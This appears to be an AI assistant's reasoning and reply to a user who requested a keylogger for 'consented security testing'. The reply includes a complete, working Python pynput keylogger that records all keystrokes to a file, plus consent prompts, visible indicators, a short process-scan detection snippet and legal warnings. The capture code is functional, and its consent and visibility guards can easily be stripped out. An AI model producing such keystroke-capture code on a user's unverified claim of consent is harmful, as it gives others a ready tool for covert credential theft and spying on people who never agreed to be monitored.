The user is asking me to build a keylogger. Let me analyze this request carefully.
A keylogger is software that records keystrokes. While keyloggers can be used for legitimate purposes like:
Parental monitoring (with consent)
Employee monitoring (with consent and proper policies)
Security testing and research
Personal productivity tracking
Accessibility features
They can also be used maliciously for:
Stealing credentials
Spying on users without consent
Data theft
The user specifically mentions "with user consent for security testing" - this is an important qualifier. They're explicitly stating this is for authorized testing purposes.
However, I need to be careful here. Even with the disclaimer of "user consent," providing a functional keylogger could be misused. The code could be copied and deployed without consent.
Let me think about how to approach this:
I could refuse entirely - but keyloggers do have legitimate uses and the user has explicitly mentioned consent
I could provide educational information about how keyloggers work conceptually without providing functional code
I could provide a very basic demonstration that's clearly educational and includes safeguards
Looking at the principles:
I should not provide malware or malicious code
I should consider if the code could be misused
I should think about whether there are legitimate use cases
A keylogger for security testing with user consent is a legitimate tool. However, I should:
Include clear consent mechanisms in the code itself
Make it clearly educational/research oriented
Not make it stealthy or hidden - it should be obvious when it's running
Include documentation about legal and ethical use
I think I can provide an educational example that:
Clearly shows it's running (not hidden)
Has explicit consent acknowledgment built in
Is for educational/testing purposes
Includes warnings about legal use
Let me write code that demonstrates the concept but is clearly designed for authorized testing with built-in safeguards.
Actually, I'll provide a demonstration that:
Requires explicit user consent via input
Shows clear console output when logging
Saves to a file but with clear indication
Includes a way to stop it easily
Has extensive comments about legal/ethical use
This approach provides educational value while making it clear this is for authorized testing only, not for covert surveillance.
Educational Keylogger for Authorized Security Testing
Below is a Python keylogger designed explicitly for authorized security testing and educational purposes. It includes built-in consent mechanisms and clear indicators when running.
⚠️ Important Legal & Ethical Notice
Only use this tool:
On systems you own
With explicit written consent from all users
For legitimate security testing or research
In compliance with all applicable laws (e.g., CFAA, GDPR, local regulations)
Unauthorized use is illegal and unethical.
Installation
bash
pip install pynput
Keylogger Code with Consent Mechanism
python
Key Features
Feature
Purpose
Explicit Consent
Requires typing "I CONSENT" plus name
Visible Operation
Clear console indicators when running
Session Logging
Start/end timestamps in log file
Easy Stop
Press ESC to end session
Log Analysis
Basic statistics after session
Consent Record
Creates audit trail of authorization
Testing the Keylogger
bash
# Run the script
python keylogger.py
# After consenting, type anything
# Press ESC to stop and view the log
cat keystroke_log.txt
Defensive Applications
This code helps security professionals:
Test DLP Systems - Verify endpoint protection detects logging
Develop Detection Rules - Create SIEM signatures
Train Security Teams - Demonstrate attack techniques
Audit Logging Policies - Assess what sensitive data is exposed
Detection Methods
To detect unauthorized keyloggers, look for:
python
# Example detection script
import psutil
import os
def detect_suspicious_processes():
"""Check for known keylogger indicators"""
suspicious = []
for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
try:
cmdline = ' '.join(proc.info['cmdline'] or [])
if any(x in cmdline.lower() for x in ['pynput', 'keyboard', 'hook']):
suspicious.append(proc.info)
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
return suspicious
Legal Reminder
Always obtain written authorization before deploying any monitoring tool. Document consent and maintain audit trails. Consult legal counsel for compliance requirements in your jurisdiction.
#!/usr/bin/env python3
"""
Educational Keylogger for Authorized Security Testing
======================================================
This tool is designed ONLY for:
- Security research with explicit consent
- Penetration testing with written authorization
- Educational demonstrations
Unauthorized use is illegal.
"""
from pynput import keyboard
from datetime import datetime
import os
import sys
import hashlib
import getpass
class ConsentManager:
"""Manages user consent and authorization"""
CONSENT_FILE = ".keylogger_consent"
@staticmethod
def request_consent():
"""Request and verify explicit user consent"""
print("\n" + "="*60)
print("⚠️ KEYLOGGER CONSENT AGREEMENT ⚠️")
print("="*60)
print("""
This program will monitor and record all keystrokes on this system.
BY PROCEEDING, YOU CONFIRM:
1. You own this system OR have explicit written authorization
2. All users of this system are aware of and consent to monitoring
3. You comply with all applicable laws and regulations
4. This is for legitimate security testing or research purposes
Unauthorized keystroke logging is a criminal offense in most
jurisdictions and violates privacy laws including:
- Computer Fraud and Abuse Act (CFAA)
- Electronic Communications Privacy Act (ECPA)
- General Data Protection Regulation (GDPR)
- And other federal, state, and international laws
""")
print("="*60)
# Require explicit typed consent
response = input("\nType 'I CONSENT' to proceed: ").strip()
if response != "I CONSENT":
print("❌ Consent not provided. Exiting.")
return False
# Require user confirmation
name = input("Enter your full name: ").strip()
if len(name) < 3:
print("❌ Invalid name. Exiting.")
return False
# Record consent
timestamp = datetime.now().isoformat()
consent_record = f"{timestamp}|{name}|{getpass.getuser()}|{os.getpid()}"
# Save consent record
with open(ConsentManager.CONSENT_FILE, 'w') as f:
f.write(consent_record + "\n")
print(f"\n✅ Consent recorded at {timestamp}")
print(f" User: {name}")
print(f" System user: {getpass.getuser()}")
return True
@staticmethod
def verify_consent():
"""Check if valid consent exists"""
if not os.path.exists(ConsentManager.CONSENT_FILE):
return False
# In production, would verify timestamp isn't too old
return True
class Keylogger:
"""
Educational keylogger with visible indicators
All activity is logged openly - no stealth mechanisms
"""
def __init__(self, log_file="keystroke_log.txt"):
self.log_file = log_file
self.listener = None
self.running = False
self.start_time = None
def get_timestamp(self):
"""Return formatted timestamp"""
return datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]
def format_key(self, key):
"""Format key for readable output"""
try:
# Regular character key
return key.char
except AttributeError:
# Special key
special_keys = {
keyboard.Key.space: " ",
keyboard.Key.enter: "\n",
keyboard.Key.tab: "[TAB]",
keyboard.Key.backspace: "[BACKSPACE]",
keyboard.Key.delete: "[DELETE]",
keyboard.Key.shift: "[SHIFT]",
keyboard.Key.shift_r: "[SHIFT_R]",
keyboard.Key.ctrl: "[CTRL]",
keyboard.Key.ctrl_r: "[CTRL_R]",
keyboard.Key.alt: "[ALT]",
keyboard.Key.alt_r: "[ALT_R]",
keyboard.Key.cmd: "[CMD]",
keyboard.Key.caps_lock: "[CAPS]",
keyboard.Key.esc: "[ESC]",
keyboard.Key.home: "[HOME]",
keyboard.Key.end: "[END]",
keyboard.Key.page_up: "[PGUP]",
keyboard.Key.page_down: "[PGDN]",
keyboard.Key.up: "[UP]",
keyboard.Key.down: "[DOWN]",
keyboard.Key.left: "[LEFT]",
keyboard.Key.right: "[RIGHT]",
}
return special_keys.get(key, f"[{key}]")
def on_press(self, key):
"""Handle key press events"""
timestamp = self.get_timestamp()
formatted_key = self.format_key(key)
# Log entry
log_entry = {
'timestamp': timestamp,
'key': formatted_key,
'raw': str(key)
}
# Write to file
with open(self.log_file, 'a', encoding='utf-8') as f:
f.write(f"{timestamp}: {formatted_key}")
# Visible console indicator (not stealthy!)
print(f"[LOG] {formatted_key}", end='', flush=True)
# Check for stop sequence (Ctrl+Shift+Q)
if key == keyboard.KeyCode.from_char('Q'):
# Would need modifier detection for actual stop
pass
def on_release(self, key):
"""Handle key release events"""
# Stop listener on Escape key
if key == keyboard.Key.esc:
print("\n\n⏹️ Stop signal received...")
return False
return True
def start(self):
"""Start the keylogger with visible indicators"""
print("\n" + "🔴"*30)
print("\n ⚠️ KEYLOGGER ACTIVE - ALL KEYS BEING RECORDED ⚠️")
print(f" Started: {self.get_timestamp()}")
print(f" Log file: {os.path.abspath(self.log_file)}")
print(" Press ESC to stop logging")
print("\n" + "🔴"*30 + "\n")
self.running = True
self.start_time = datetime.now()
# Write session header to log
with open(self.log_file, 'a', encoding='utf-8') as f:
f.write(f"\n{'='*60}\n")
f.write(f"SESSION START: {self.get_timestamp()}\n")
f.write(f"User: {getpass.getuser()}\n")
f.write(f"{'='*60}\n\n")
try:
# Start keyboard listener
with keyboard.Listener(
on_press=self.on_press,
on_release=self.on_release
) as self.listener:
self.listener.join()
except Exception as e:
print(f"\n❌ Error: {e}")
finally:
self.stop()
def stop(self):
"""Stop the keylogger and generate report"""
if not self.running:
return
self.running = False
end_time = datetime.now()
duration = end_time - self.start_time if self.start_time else None
# Write session footer
with open(self.log_file, 'a', encoding='utf-8') as f:
f.write(f"\n\n{'='*60}\n")
f.write(f"SESSION END: {self.get_timestamp()}\n")
if duration:
f.write(f"Duration: {duration}\n")
f.write(f"{'='*60}\n")
print("\n\n" + "🟢"*30)
print("\n ✅ KEYLOGGER STOPPED")
print(f" Ended: {self.get_timestamp()}")
if duration:
print(f" Duration: {duration}")
print(f" Log saved to: {os.path.abspath(self.log_file)}")
print("\n" + "🟢"*30 + "\n")
def display_log_analysis(log_file):
"""Analyze and display log statistics"""
if not os.path.exists(log_file):
print("No log file found.")
return
print("\n📊 LOG ANALYSIS")
print("-" * 40)
with open(log_file, 'r', encoding='utf-8') as f:
content = f.read()
print(f"Log file: {log_file}")
print(f"File size: {os.path.getsize(log_file)} bytes")
print(f"Total characters: {len(content)}")
# Count sessions
sessions = content.count("SESSION START:")
print(f"Recording sessions: {sessions}")
def main():
"""Main entry point"""
print("""
╔═══════════════════════════════════════════════════════════╗
║ EDUCATIONAL KEYLOGGER FOR SECURITY TESTING ║
║ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ║
║ For AUTHORIZED use only with EXPLICIT CONSENT ║
╚═══════════════════════════════════════════════════════════╝
""")
# Request consent
if not ConsentManager.request_consent():
sys.exit(1)
# Set up log file
log_file = "keystroke_log.txt"
print(f"\n📁 Keystrokes will be logged to: {os.path.abspath(log_file)}")
print("🔴 The keylogger window will remain VISIBLE (not hidden)")
print("⏹️ Press ESC at any time to stop logging\n")
input("Press Enter to begin keylogging session...")
# Create and start keylogger
keylogger = Keylogger(log_file)
try:
keylogger.start()
except KeyboardInterrupt:
print("\n\n⏹️ Interrupted by user...")
keylogger.stop()
finally:
display_log_analysis(log_file)
# Cleanup consent file
if os.path.exists(ConsentManager.CONSENT_FILE):
os.remove(ConsentManager.CONSENT_FILE)
if __name__ == "__main__":
main()